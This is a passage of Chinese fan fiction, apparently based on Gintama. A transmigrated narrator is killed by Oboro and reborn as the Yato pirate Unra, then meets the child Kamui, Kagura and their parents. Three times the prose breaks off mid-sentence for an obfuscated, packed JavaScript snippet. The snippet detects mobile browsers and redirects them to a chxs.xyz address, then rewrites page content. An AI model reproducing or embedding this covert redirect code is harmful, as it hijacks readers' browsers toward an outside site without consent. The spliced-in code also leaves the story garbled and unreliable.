“那边!”银时忽然握着刀朝前面攻去,刀锋划出白色亮光,一屡鲜红飞溅。然而等他再攻之时,所有的气息骤然消失。 “可恶!” 我走向房间,发现床褥上的那柄刀也消失了,若不是那个痕迹还在,几乎要以为是大梦一场。那刀的刀柄,是法杖般的金属圈,难道……是那个男人?还是追踪他的人? 不对,他们的打扮是一样的,若不是同伙,那就是内讧? “喂,你没事吧?”银时跟了进来,看了眼床铺上的痕迹,扛着刀语重深长,“都让你别乱惹风流债,这都夜袭上了……” 我果断地一脚过去把他扫出去,“脑子还没清醒就别学人玩侦探游戏了。” “不,他脑子落在房间睡着了。”高杉冷哼一声,眼珠子移了一下,像是不甘心又不放心般,还是移到我这边,“你知道是哪一边的人吗?” 我摇了摇头,“不知道,明天等松阳回来再说吧。好了,没事了,你们回去睡吧,睡眠不足可是会长不高的哦。” “阿银才不会,我都有好好地喝牛奶。”银时揉着摔痛的头,嘚瑟地笑道,“高杉赶紧回去睡吧,别到时候长不高赖阿萤。” “那晋晋赶紧回去。”我脸色一正,催促道,“我可不想将来被你埋怨。” “你两个够了啊……”十字路口蹦在他脸上,高杉抡起拳头。 桂难得没劝他们,只是担心地看着我,“阿萤,我们陪着你吧。” “没事,回去睡吧。”我摸摸他披散长发的头柔安慰。眼前的他秀气得像个小女孩,但那眼神却有种超乎年龄的稳重。 银时打了个哈欠,越过我走向床褥,流畅地躺下,手一伸把我的被子盖上,“睡吧睡吧,天还没亮呢。” “喂喂,我是说回去睡啊,你睡我的被窝做什么?”我没撤地拉了拉被子,“起来,我可不想被子全是你口水的味道。” 桂轻笑一声,在另一头钻进被子里,“那大家早点睡吧。” 我叹口气,回头看高杉已经自发地拿下我挂着的外套裹着自己坐在一边假寐了。说不感动是假,但…… “你们占了我的床,我睡哪里啊混蛋!” 啊,不行了,我要崛起,我要当长辈,当妈我也要他们对我恭敬。 掰了掰手指,我笑眯眯地看着这三个完全不听人话的混小子,拳头一紧,“家人们,告诉你们一个很重要的事情,成年女性的房间……只有她同意了才能留宿哦!” 砰砰砰三下,,这三只被被子卷成一团爽快地飞出门外。顺手把拉门关上,那微弱的埋怨全丢在门外。 等了好一会儿,夜色重新归于平静,我慢条斯理地打开朝向在另一边的窗,面无表情看向黑暗。 “说实话,夜袭的话我更喜欢温柔的肌肉帅哥。你这款的,我白天也不会考虑约会。为什么?因为我不喜欢太闷的。” 黑暗中慢慢走出一个高大的身影。男人指尖顶起头上的斗笠,露出那张空白的脸,冷漠的眼神让我紧了紧身上的外套。 “你比他们敏锐。” “不要少看女人的第六感。”我扯唇笑了笑。那三只现在还没太多经验,而且……这人此刻没有杀气。 不是他不想杀我,而是……我诡异地笃定,他是不会在松下村塾杀人。至少,今晚不会。 “那些人要找的……那位大人,是松阳?你又是什么角色?刚才的人你杀了?是为了不让人发现他吗?”卧槽,说出松阳的名字那一刹那,那人迸发的气势好吓人! 我微微后仰,勉力维持镇定。 “知道太多,死得更快。” 哼,不就是死么?我经验比你丰富。再说,我本来就……我垂眸,心里有鬼无法直视这种犀利的目光。 “你是想杀我?为了让那些人觉得松下村塾的异常是因为我?”他注意到我时间停止,尽管不知道原因,但我总觉得他在那以后才想杀我的。 可是,为什么他们会留意松下村塾?跟松阳的传闻是否有关? “不……”他沉默了一会,轻声道。忽然,他话音一停,瞬间消失在我眼前。 我微微一惊,不一会儿,细碎的声音传来。 啧啧,一句招呼都没就转身走的男人真差劲……当然,三更半夜不睡的就更不行了。 “晋晋啊,想要在女人门外等候的话,你还早了几年。而且,不睡觉真的会长不高哦。” “少啰嗦!” 事情好像变得有点复杂。 那天松阳回来也没说什么,只是抱歉地说最近治安差了不会再让我们单独在家。嗯……我寻思着我们也不算单独,但他好像真的把我跟那三只划等号了。 不过,我莫名地觉得村塾课后的气氛有些凝重。我想跟他说那个男人的事,但每次想开口又不知道怎么说。 那人的一切我都不知道,是否跟这事有关也不一定。 日子好像恢复平和,那些僧侣打扮的人没再看到,连前段时间多起来的乌鸦也不见了。倒是那三个莫名打了鸡血般的小子觉得我实力有跃升,可以进阶。 我有点无语,他们对我学剑道的热情比自己上课还高。 “我上次听工匠说,他们村有人带来了相机。虽然不是这个名称,但他描述的就是这个,我们也拍一次吧~”穿好外出的鞋子,我抱着斗笠跟松阳说起之前的打算。 “是相片吗?”松阳想了想,也觉得这主意不错,“可以哦,到时候可以放在大家都看到的地方。” “嗯嗯,松阳,我很喜欢拍照。”我双眼发亮,想起以前自己电脑里头的几十G相片。“我一直觉得人的记忆会被更新,但相片会把那一刻永远留存。就算将来分开了,只要看到就会记得有人这样出现在我生命中。” “永远么……”松阳笑容一顿,抬手接过我的斗笠,亲自给我戴上,眼神温柔带笑,“就算没有照片,大家也不会忘记阿萤的笑容。说过了吧,阿萤有着我们没有却又向往的东西。” “所以那到底是什么嘛哈哈。”我被他逗笑,把零食袋带上,“那我出门了。” 今天我要去造访那位工匠,他托人告诉我找到一个对机械有些研究的朋友,我再去碰碰运气。 “嗯,早点回来哦。这两天天气太冷,可能要下雪了。”松阳笑着叮咛,摇摇手目送我出门才回去准备上课。 那位朋友是有点东西,因为他问了个灵魂问题。这个怀表,是什么动力。 嗯……我还真没想过这个问题,主要是手机功能发展后,我很多年没用过手表了。没看到齿轮,也许是电池……但这个年代好像还没电池。 我看着怀表,坐在路边自言自语,“啊,如果是要换电池,那也很麻烦,要等到电池出现吗?可如果是换掉了,那我咋办?去找神威和夜王拼一下吗?” 这个想法很可怕,脑海里还浮现神威那张笑眯眯的脸蛋。我打了个寒颤,连忙把他甩出脑袋。 树梢颤抖的沙沙声比风声要大,我手一僵,低着头慢慢把怀表放回衣服里,“咋办呢,好像事到临头还是会紧张……人的本能还是占了上风呢……天气也不好,晚餐还没吃呢,下午茶也消化得差不多了……” 话音未落,寒光骤来,我眼神一厉,瞬间出手。 刀刃相接,明晃晃的刀身倒影出我的双眼。这还是我第一次那么直观地看到自己这双眸子里泛起狠戾的杀意,没有一丝笑意。 “呐,男人追太紧,就不是爱慕者而是跟踪狂了。”一个抬眸,我一个劈叉抬腿踢向他的下颚,就着他翻身的刹那跃开。 最近特训的成效显著,我挥刀的力道和速度都有很大的提升。 说起来,这刀还是出门前坑银时的,据说是松阳在初见时送他的,他宝贝得很。这么有纪念意义,可得完璧归赵,不然他会记恨我一辈子。 落在四周的僧侣人不少,为首的男人戴着斗笠,眼神冷漠。 身体的速度和敏捷度达到了高峰,刀刃砍在人体身上那种利落的凝滞感还是会让我心颤。这是第一次,也不知道能不能是最后一次,我以冷兵器这么用力地砍在人体上。 浓郁的血腥味几乎掩盖了林子里树木的芳香,那些粘稠的液体溅落在我身上,几乎要灼伤我的皮肤。 几近疯狂的反击下,我疾步往林子里逃去,身上的伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980828|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少得我有些嘚瑟。那三个小子那么高傲是有点底气的,我都能这样,他们确实很强啊…… 可惜,现在还不足以面对这一切。 蓦地,脚下一痛,一根细针刺穿我的脚腕。踉跄跌倒的那刻,我咬牙横劈,仓惶地撞入那双如死水般平静的眼眸。 “为什么?”他挡下我的攻击,语气淡然却带了一抹疑惑。 我拔出细针,痛得想趁机捅他几下……想干就干,嗯,刀被打飞了。 “你是故意落单?为什么?” “直男就少猜女人心了,什么故意,只有终日做贼,哪有人终日防贼。我只是不会因为你们这些外人改变自己的生活而已。” 这个观点连松阳也很认同,但跟我不一样的是,他们实力更强,底气更足。我今天出来也是争取很久的,没有人能时刻守在我身边,我也不需要这样。 “就算你死了,总有一天还是会……”男人冷漠得不近人情。 “那就在那一天来临之前,让这些平静的日子继续这样过下去吧。你一直关注我,不就是为了把他们的注意力引到我身上吗?”我打断他的话,勇敢地对他翻了个白眼。“而且,你是死人吗?不会搞些掩护吗?你也……不想松阳出事的,对吧?” 男人看着我良久,仿佛在探究我的想法,“你叫……阿萤?” 我不意外他知道,“对女士礼貌些,先报自己的名字好么?” 很意外地,他默了一下后便道,“胧。” 啊……这么简单?被他这样搅和一下,那些恐惧好像褪了些,我深呼吸,直视着他,“听着,如果你再对他们出手,我……我死了也要回来找你啊!还有,动手前通知一下,我希望我爸妈来接我。” “你……果然是个怪物。”胧看着我,忽然道。 我承认,我的行为有种英雄主义的色彩,说难听点,是圣母。但,对松下村塾,对那些接纳我成为家人,对那些再怎么互怼眼底也会关切地看着我……甚至会在不经意回眸时以小狗怕被弃的眼神追着我的孩子们,除了这样,我想不到能为他们做什么了。 一切的善意和真诚,本质都是给予,不求回报。他们是这样,我也只是以我的奇遇,以一个我可能一直期待的结果,为那些保护着我的人们争取一些时间。 再多一点点时间,让他们再幸福一下,再成长一下的时间。这一切的岁月静好都会结束,但这些时光一定可以成为他们走过未来黑暗的支撑。 反正……我本来就想死来着……没准,这一次真的可以回家了。 脚步声急速而来,我和胧对望一眼,同时出手。 跟这个人交手好恐怖,刀刃劈过来的瞬间,凌厉的气势和沉重的压迫感排山倒海般席卷,那是一种经过无尽杀戮累积而成的恐怖。 刀锋刺进胸膛的时候,我听到怀表碎裂的脆响,无端地有一种解脱感。 视线弹指间收窄,我看着灰沉沉的天空,有些遗憾。 松阳说要下雪了,明明约好一起看初雪的……这下,银时是叫不醒我了。 所以说,不要随便约定啊,笨蛋。 双眼看到最后的画面,是胧那没有表情的脸庞,眼神有种我看不懂的复杂。 哎,晦气。 他蓦地伸出手,把我抱进怀中。 我来不及抗拒,所有意识归于混沌,跌入无尽黑暗。 ………… ……………… 后记 …………………… 胧抱着怀中的女人,冷冷地看了一眼追过来的僧侣们,“这里已经……结束了。” 他抱着人,转身离开。 一柄长刀插在地上,直到第一场雪落。 飘零的雪花中,穿着素色和服的男子匆匆赶来,站在那里良久才伸手轻轻把刀收入鞘,没有一丝笑容的脸上一片空洞。地上没有多少血迹,他伸出手,任由雪花落在掌心,微微叹息,“真是个笨蛋呐……” 以家人换来的岁月安好,让他们怎么安然度过? 今年的初雪来得晚,却下得很大,第二天松下村塾的院子里已有积雪。 “老师,阿萤真的回家了吗?” 听到学生的话,松阳笑容不变,温柔地拍拍他的头,“是啊。听隔壁村的工匠说,那个来的机械师就是阿萤的父亲,阿萤看到他就想起自己的身世了。她父亲很想念她,所以就把人带回去了。” “啊,怎么这么突然……不过她父亲一定是很好的人吧。” “那,老师,阿萤还会回来吗?” “她家好像有点远呢……可能要很久才能再见呢。”松阳有点无奈地道,忽然想起什么般笑了笑,“等天气好些,我们也请人来拍一下合照吧。” 孩子们听到这个,顿时好奇了,围着他问着拍照的事。 “喂,你怎么看?”高杉睨了一眼刚完虐了桂,还气鼓鼓仿佛在生闷气的银时。 挖鼻的手顿了一下,银时回头,死鱼眼很是愤慨,“能怎么看,无情的女人,明明说过要养我,现在一走了之。果然漂亮的女人都很会骗人。” “你签了三次卖身契啊,还指望她养!不用你卖身三次你就感激吧!我是说,她真的……”高杉差点被他带偏,连忙扯回来。 “松阳说什么就是什么,你觉得他会骗我们吗?”银时打了个哈欠,没精打采的反问。 “当然不是!” “所以,阿萤一定是回家了。”桂爬起来,低着头把刚才对打乱了的马尾重新扎起来。 银时手指在高杉的肩膀上擦了擦,无视他炸毛的指控,握着那个笨女人曾坑他借走的刀没说话,红眸微颤。 “我们……还不够强啊。” 所以,才没保护好。 26.烙阳的雨天 灰蒙蒙的天空洒落毛毛细雨,仿佛给整个大地披上一层水润的薄纱。雨点淅淅沥沥,落在人身上有种朦胧的美感。 一切如此美好,我却翻着白眼恨不得对世界说一句‘fXck you all’。 “喂,云锣,你在看什么天啊?快过来,凤仙大人有新的命令。” 我置若罔闻地低头,看着地上积水倒影出的身影,顿时悲从中来。 绝望了……虎背熊腰局算了,刚正不阿的脸,山贼般的大胡子,绿豆般的小眼睛,这些我都可以忍了。那一头血滴子般的发型和辫子是怎么回事啊混蛋! 好丑……丑到想死。 还我妈生脸啊,我漂亮到连高杉那个毒舌都没吐槽不了的脸蛋,我那自己摸起来都软乎乎很舒服的身材! 你妹的,别让我再看到那两个天X宝宝外星人,也别让我再看到胧……我发誓要把他们剁成肉酱去喂隔壁包子铺老板那只蠢狗! “云锣……我说,一个大男人哭出宽面条泪真的很丢人好吧。” 辫子被人扯了扯,我抬起头,入目的面容算得上俊朗,可惜拉耸着眼皮显得没什么神气。身材高大的男子搔着一头微棕黄色的短发,神情懒散得很无奈。 “阿伏兔,我能不能脱队?”身为曾经的正义之士,现在成为宇宙海盗春雨的一员,我觉得我堕落了。 对不起教官,对不起爸爸,不,长官。 丑就算了,还是个反派,这操蛋的人生……对了,我还要每天面对这粗矿得让我想要直插双目的身体,那阿姆斯特朗回旋加速喷气式阿姆斯特朗炮让我每次脱衣服都想自宫,我纯洁的眼睛啊…… “云锣,别哭啊,好丑!” 呜哇——我一把抱着阿伏兔往他胸膛头一埋便喷出瀑布泪。 “云锣,给老子滚开啊——” 没错,一觉醒来,我成了凤仙的手下,春雨的小喽啰之一。而现在,我们在一个叫烙阳的星球,夜兔族的故乡。 嗯,对,我现在是夜兔粗汉,云锣。 啊,妈妈,为我骄傲吧,我是祖国最早落地外星的人,呃,夜兔,真是……光荣得让人想哭。 “我都不明白,凤仙大人在春雨待得好好的,干嘛来烙阳啊。” 我打着伞,抱怨地看向阿伏兔。这个星球的天气太差了,没有半点阳光不说,还一直阴雨绵绵让人提不起劲。 虽然,我现在是夜兔,晒不得太阳。 “春雨怎么能跟这里比,这里好歹算是夜兔的故乡。男人离开久了,还是会想念的吧。”阿伏兔打了个哈欠,不负责任地回道。 “这种情怀放在凤仙大人身上有点恐怖。”我宁愿相信他是在春雨犯了事回来避风头。 漫不经心的视线在街上游移,烙阳的街道仿照了落后的中式建筑,虽然有点怀念但整个贫民窟的风格也很碍眼,我有点怀念松下村塾的田园风光了。 蓦地,一抹橘红色晃入眼帘,我下意识地停步,抬眸看向巷子里。 几个外表各异的天人堵在巷口,他们的对面是个子仅及他们腰的小孩子,穿着蓝色中式旗袍上衣和白色裤子,黑色布鞋。那头橘红的发在一片暗沉的黑色中分外亮眼,夜兔中依然打眼的白皙皮肤衬得那小身影更脆弱。 “喂喂,以多欺小就算了,还要是个小屁孩……这里的流氓可真不行。”阿伏兔也留意到巷子里的场面,懒散的话音有些不悦。 “哎,小子嘛,多挨点打就会长大了。”我不以为然,像我们家晋晋,不就是被银时一直打到强大起来吗?现在应该能五五开吧,不过银时发誓要奋起把他甩下。 “不许你们欺负神威!” 一道脆生生的娃娃音从巷子里头传出来,娇嫩软萌得让我顿时眼前一亮。 “他答应了妈咪不会再打架的!已经约好了要一直跟我们在一起的!” 我撑起伞望过去,小孩子的身后冒出了一个更小的女娃,橘红的发束成两个团子头,穿着橙黄色的外套,张开手拦在那个高一点的小子身前,软乎乎的脸蛋全是认真严肃。 她的话让围着他们的那几个天人不怀好意地大笑起来,猛地踢向她,把那个小姑娘踢飞到几米远。 我和阿伏兔对望一眼,“小子就算了,对女娃娃动手也太没素质了。” 拳头追到小女娃身上的前一秒,几个天人身形一僵倒在她的脚边。 “这个星球的不良少年真的缺乏教育啊,害我一不小心就动手教育了。”阿伏兔面无表情地俯视着神威,“小兔子,不想成为恶人的话,至少得能保护妹妹才行啊。” “啊嘞啊嘞,真是严格。”我扛着刚打完人的巨伞,朝睁大着一双湛蓝眸子,呆呆仰头看着我的小女娃咧出一个大大的笑容。 “呜哇——好吓人!” 小女娃顿时哇哇哭出来,那样子比刚才遭几人围攻还要害怕。她清澈大眼倒影着我狰狞的笑容和扭曲的眼,我一时悲从中来。 “云锣,坚强点,别哭啊!” 猛地,被打趴的天人骤然跳起,狠狠地扑向小女娃,那力度是铁了心要至她于死地。 “小心!”我心神狂震,小女娃的样子忽然与歌舞伎町那个对我友善亲近的神乐重叠,身体比脑子要快。 鲜红飞溅在我脸上,手臂几乎要被那炙热烫伤,我骇然得豆子眼颤动,难以置信地看着自己的手如刀般横劈,那天人的头颅飞甩在半空。 我……杀人了…… “啊啦,云锣,怎么忽然就严格起来了?体罚可不行哦~”阿伏兔毫不惊讶地低语,没精打采的眸子瞥了我一眼。 杀人了啊……我……我站在那儿,俯视着伤痕累累被吓得呆住的神乐,蓦地转过身蹲下。 “yue……” “云锣!坚持住,别丢人啊!” 我吐得七晕八素的,阿伏兔嫌弃地拿靴子踢了踢我的屁股,“怎么了?昨天吃坏肚子现在才吐出来吗?” 完全不能控制胃部一震抽动,吐了好一会儿我才勉强地擦了擦嘴角。 别怕,见义勇为,做的是好事,我是正义的,法律会还我公道。 “丑死了……”大一点的橘红发小子拾起地上的散落的菜,背起受伤的小女娃,鄙夷地瞥了我一眼。 我登时怒了,指着他吼道,“臭小子,这是对救命恩人的态度吗?你妈妈没教你要先道谢吗?” “谁要你们出手?那些小喽啰我一个也可以。”小子冷冷地看过来,那眼神莫名地有点熟悉。 “神威,不可以这样。妈咪说了,被人帮助要说谢谢的。”小女娃吃力地拉了拉他的衣服,鼓起勇气般看向我,嫩嫩地小声道,“谢谢。” 太萌了啊……我捂着心脏退后一步,刚刚受创的心得到了救赎,情不自禁地咧开笑容。 小女娃顿时吓得躲到她哥怀中。 “妈咪也说了,不可以跟陌生人说话,神乐。”小子背着她,头也不回地走了。 “啊,云锣,你争气点,别一副拐带孩子的金鱼佬样子好吧。把那笑容收……你怎么了?” 阿伏兔抬手看了看天空,雨停了便收好伞,一个回头便看到我脸色怪异,不由得问道。 “呐,阿伏兔,刚才那小兄妹两人,叫什么名字来着?”我颤抖着和手指着他们离开的方向,艰涩地问道。从杀人的刺激中回过神,我终于听清楚那小子说的话。 阿伏兔不明所以地看了眼那边,没神的眼半垂着,“神威?神乐?啊嘞,这个姓氏有点耳熟。” 我骇然瞪大了豆子眼,神威……是我认识的那个神威吗? 摸了把自己的脸,我一个跳起追了过去,“神威,快,杀了我啊!” “云锣,你发什么神经啊?” 发神经,不,我从没如此清醒。我宁愿回到那个天花板,我要变回那个漂亮的妹子,我不要做海贼啊! 与阿伏兔拉拉扯扯地走到一条街里头,还没走近便听到女人起伏延绵的咳嗽声。那断断续续压抑不住的声音夹杂着神乐嫩嫩的安慰声,我们两人(兔)的动作不由自主地放轻。 苦着脸的阿伏兔不擅长应对这种场面,跟我比了比手便走到一边候着。我摸了摸脸上的胡子,有点忐忑。 我本人是很能安慰人的,但顶着这副尊容,我真怕他们以为我入屋抢劫。 “那个……”我礼貌地敲了敲打开的门,神威警惕地转头看着我,那眼神仿佛我是个贼人。我咳了声,举起手中的袋子,“你的苹果落下了。” “啊,是那个帮忙的大叔。”神乐靠在一个跟他们长得极像的女人怀中,小声地说道。 女人抬起头,朝我笑了笑。 一头橘红色的发束成辫子垂在身侧,美丽的面容上绽出温柔的笑容,如水般清澈柔和的蓝眸柔和,整个人散发着一种虚弱的美丽,那是一种专属于母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992003|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的神圣魅力。 “再看的话,就把你眼珠子挖出来。”神威把手缩进袖子里,高傲地斥了我一声,小身板挡在母亲的床边。 我尴尬地摸了摸头,不怪我,实在是他们的母亲太美了,那种病态让她眉宇间郁郁的薄愁多了几分脆弱,我见犹怜。 “那个,我不是坏人……你不用紧张。”我拍了拍壮硕的胸口,尽量轻柔地道。 “哼,你也不用紧张,我不是好人。”神威眼神冷漠。 “神威……咳咳,”他身后的女人轻声唤他,双手搭在他肩膀,轻柔地安抚,“对不起,我丈夫出门在外,孩子们有点怕生。” “不不不,应该的,警惕性不可丢,现在漂亮的孩子很容易被那些宇宙海贼什么的看中。”我一本正经地叮咛,“尤其是那些中二倾向的,如果被带走了可能就会变成杀人狂之类的……神乐你别用这样的眼神看我好不好……我不是杀人狂……” 一个小时之后,流了一脸宽面条泪,我拿着菜刀狠狠地剁着案板上的排骨。 呜呜呜……太过分了,死秃子太过分了!有这么美满的家庭,为什么要一天到头在外面,留下病弱的江华带着两个孩子……果然,幸福的家庭都是相似的,不幸的家庭各有各的不幸。 难怪神威会变态,又要照顾母亲又要爱护妹妹,他才几岁啊,简直比留守儿童还要凄凉。 “把你的眼泪鼻涕擦一擦,滴到排骨上我就杀了你。” 再轻松的话从神威嘴里说出来总是有种让我忌惮的杀气,尽管现在这小子说话态度一点也不轻松,还挺阴沉的。 我抬手以袖子擦了擦脸,“哪有鼻涕,那是我真情流露的感慨。” 江华一笑,我就恨不得给她掏心掏肺,小神乐一笑,我就恨不得做一桌菜给她吃。至于神威,哼,这老气横秋的小子真记恨,不就是被我拎着丢出门去给阿伏兔而已嘛。 女人(bushi)聊天他一个小子混进来做什么?虽然我现在不是女人,但我的女人本心也可以让我做一个妇女之友啊!没看到江华都放心地把厨房交给我了吗? 一个母亲把厨房托付,那就等于把一家子的命都托付了啊! “啊啊,受不了,阿伏兔不是很有经验的吗?这绷带怎么缠得这么丑?”我放好炖汤的肉,鄙夷地瞧了瞧神威的手。 这小子那双手早就渗血了,难怪方才一直藏在袖子里头。没好气地一手把人抓小鸡般抓过来,我随手拆了那绷带。 神威冷凝的眼神盯着我,大眼里头没有任何情绪,冷漠得让我心惊。 “小子,对老子客气点,不然等下不给你吃肉哦。”啧啧,这小身板还真是营养不良。我一只手就足以压得他动弹不得,神威看我的眼神都变了。 更狠了。但没办法,这个身体最让我满意的,就是一身蛮力和灵活的身手。 “哼,老子……要当我老子的话,得下辈子。”神威意有所指般哼道。 “什么?你要跟我约下辈子?才不要,生你这样的还不如生块叉烧。”我利落地绑好绷带,手肘压在他头顶,“给你绑个漂亮的蝴蝶结哦~” 以前那三小只打架受伤后怕被松阳加罚,都来找我包扎和劝架。在他们的要求下,我安慰人的词汇和包扎手法都越来越厉害。这个蝴蝶结繁复不好解,是晋晋最怕的,每次他发小脾气我都这样绑他。 “好恶心,赶紧弄掉!”神威眼角抽搐地看着,命令道。 才不要,多好看啊,连高杉那小子都忍了,我怎么可能给神威破例? 神威又拿那种瞳孔缩小的狠戾眼神看过来,我叹口气,这小子的变态和扭曲真是从小就养成啊。 对峙的气氛终止在锅中的香味飘出来的刹那,神威浑身的气势一凝,鼻子不可觉察地动了动。 捕捉到那细微的变化,我咧开嘴嘚瑟地笑了。抖S小时候还没进化,对食物的自制力完全不行啊。 “小兔崽子,想吃么?嘿嘿……”我还没嘚瑟完,那道小小的身影已狂袭而至。 嘭的一下,神威整个被捶进了地下,只露出一个头忿忿不平地瞪着我。 “啧啧,你还太弱了。”我握着拳头,咧出阴险的笑。 怪不得高杉三人听话如斯,松阳这招真的太好用了。也就是换了这身体,不然还真做不来。 这样一想的话,松阳到底多强啊。忽然间,我有点想松下村塾的家人们了。 27.归家的男人 吐了好几天,被阿伏兔心理咨询般吐槽了好几天,我才缓过杀人的那道劲。 作为宇宙海盗的一员,我好像真的不能太在意这个……但是把人当NPC,虽然是奇奇怪怪的天人,杀起来也觉得恶心。 可是在这个世界,我得习惯……完蛋了,我更想念被保护的那段日子。可是……我又不想一直被保护成为别人的负累啊。 叹口气,今天的雨大得有点恼人,懒得打伞的我直接地走在路上,让雨水洗洗我纠结的脑子。 “阿pu兔,好大雨……”有点后悔了,雨水全部积聚在胡子上了,整张脸像是挂了无数小珠子。雨水没有洗干净我的纠结,但很可能往我脑子里注水了。 “云锣,别装抑郁了,你乖乖地打伞吧……你说话都喷水了!”阿伏兔没辙地摸着后脑,不忍直视地别过头。 我抹了把脸,随意瞄了两眼路边,“诶,那不是之前拦了神威那小兔崽子的天人吗?” “我一直想问,天人是什么称呼啊?我们也是夜兔好吧……有点自知之明啊。”阿伏兔无语地跟着我偷听,不太情愿地想闪人。 都是玩剩的报复计划,几个天人不敢找上我们,便打算对神威出手,没什么新意。欺善怕恶,生命体的劣根。 “唉,人生就是不断在做选择题。” 放任他们去暗算神威,还是先把他们干掉……这两个选择要怎么选好像很明显。我摇摇头,掰了掰手指。 “去吧,云锣……这次不要再吐了。”阿伏兔挖了挖耳,没什么神气的朝我抬了抬下巴。 我懂他的意思,凤仙回来了,被他知道我杀个人就吐好几天,我的性命就堪忧了。 深呼吸一口湿润的空气,我定了定神,慢慢追了上去。 雨水冲刷着地上的血迹,低头看着自己的手,耳边是那几个天人气若游丝的哀叫,胃部那阵翻涌的浪潮好不容易平复下来。 血的味道很腥,我不喜欢。 啪的脚步声,我抬眸看去,神威浑身湿透地站在另一边,眼神发狠地看着我。 “喂喂,你那是什么眼神?我可是替你……”好快!我话还没说完,神威已飞身扑了过来。 双臂交叉挡下他的飞踢,沉重的压力让我震惊。这就是夜兔崽子的实力? 很厉害,但……我也是夜兔啊,现在! 一手抓过他的脚,狠狠地往边上甩去,神威急促转身如猫般四肢抵墙,他还没缓去冲力,我已经一把按着他的背把他整个按进墙内。 细碎的石头随他的橘发一起飞扬,掌下的头慢慢后仰,我看到神威血流满脸地勾起唇角的诡笑。突然福至心灵地觉察到,这小子是故意的,他想要跟我打架! 哼……咧着阴险的笑,前几次被他徒手砍死捅死的记忆再次鲜明,我想也不想地手刀横劈。 小小的身子撞碎了一遍的墙壁,烟尘还没散开,那身影已冲了过来。我笑眯眯地跃起,伸直腿狠狠地往下劈,神威整个人再次砸进地面。 哎,烙阳的地太软了,一定是雨水太多水土流失。 “神威,就你这样的……还差得远啊。”比地球的小小武士还弱。 孩子愤恨的眼神极大满足了我的胜负欲,照着那根呆毛踩了两脚,嘲讽的话还没说出口,一抹极浅的危险气息急速迫近。 哗啦的巨响,一柄绿色的巨伞砸在我原本站的地方,我跃起骇然地看过去,手臂一震剧痛。 男人头戴飞行员般的帽子和护目镜,一身斗篷和长袍被风吹得啪啪作响,蓄着小胡子的脸上没有一丝表情,狭长的双眸弥漫着杀意。一头血的神威被他抱在手上,眼中没有被救的侥幸,反而有种被打断的愤慨。 来不及细想,男人的拳头已经挥了过来,夹带着雷霆万钧的气势。 我整个人砸在石块里头,悬殊的实力对比完全没有反击的空间,只能勉强挡下那些密集的攻击。尽管如此,脸上身上还是挂了不少彩,而我连对方的脸都没看清! 动弹不得地躺在地上,男人的身影笼罩着一片杀气,从半空朝我而下。 咚咚!胸膛的震动骤然强烈,那声响连我自己都惊讶,整个身体的细胞仿佛在膨胀,眼角狂睁欲裂,视线都在颤抖。 我是……怎么了?那种全身不受控制的亢奋几乎要掌控我,完全无法自控,那个天花板……又要出现在眼前了吗? “爸比,住手——” 千钧一发间,小神乐的身影蓦地跳进我们之间,双手大张地喊道。 压倒性的气势刹那间消散,男人刹不住势地以头砸在神乐面前,整个头埋进地里,双腿在半空蛙式抽动。 “大叔,你没事吧?”小神乐看也不看那人,焦急地跑向我。 “啊哈……小神乐,你该不会告诉我,那是你爸比吧?”心跳慢慢恢复,我抽了抽嘴角,吐出一口血,勉强地笑道。 小神乐点点头,蓝眸满是担忧,小手迟疑地摸了摸我头上的血。 “神,神乐……”男人挣扎着打破地面爬起来,可怜兮兮地朝女儿伸手求抱。 “爸比,大叔是好人,他救了我和神威……你不要欺负他。”小神乐护着我,严肃地道。 这种被小女娃保护的感觉真是……不管了,肌肉男我在夜兔里头看够了,从现在起我要看萝莉!(握拳) “真是非常对不起!”神晃+神威+神乐,猛虎落地势。当然,神威是被神晃压着低头的。 我无奈地摇摇手,对江华笑道,“不要紧,你别骂他们。” 江华眼带愧疚地笑着,摸了摸神乐的头,“误会了你真的对不起……明明帮了我们那么多。” “啊哈,没事,没死就行了。”死了也……好像没什么不行,一切重来而已。卧槽,我的人生要求好低啊。 以快要凋谢的花给神乐编了个花环,得到小女娃惊喜得像看神明般的仰望,若不是神晃虎视眈眈,我都想给她举高高了。 江华让神威带她出去玩,等孩子们都离开后,江华偏头,明蓝色的眸子一瞬不转地看着我。 “怎,怎么了……”没有笑容的江华看起来有些阴郁,却依然温柔,莫名地让我想起松阳。 “你的时间,停止了。”江华半靠在床上,眼神深邃,语出惊人。 我猛地站起来,肩膀一重,神晃直接把我压下来,“什,什么意思?” “你不是知道吗?”江华笑了笑,伸出手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995556|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔空描绘我,“没有生命的痕迹,但心跳却又跳动,应该还是个活人。好奇怪……” 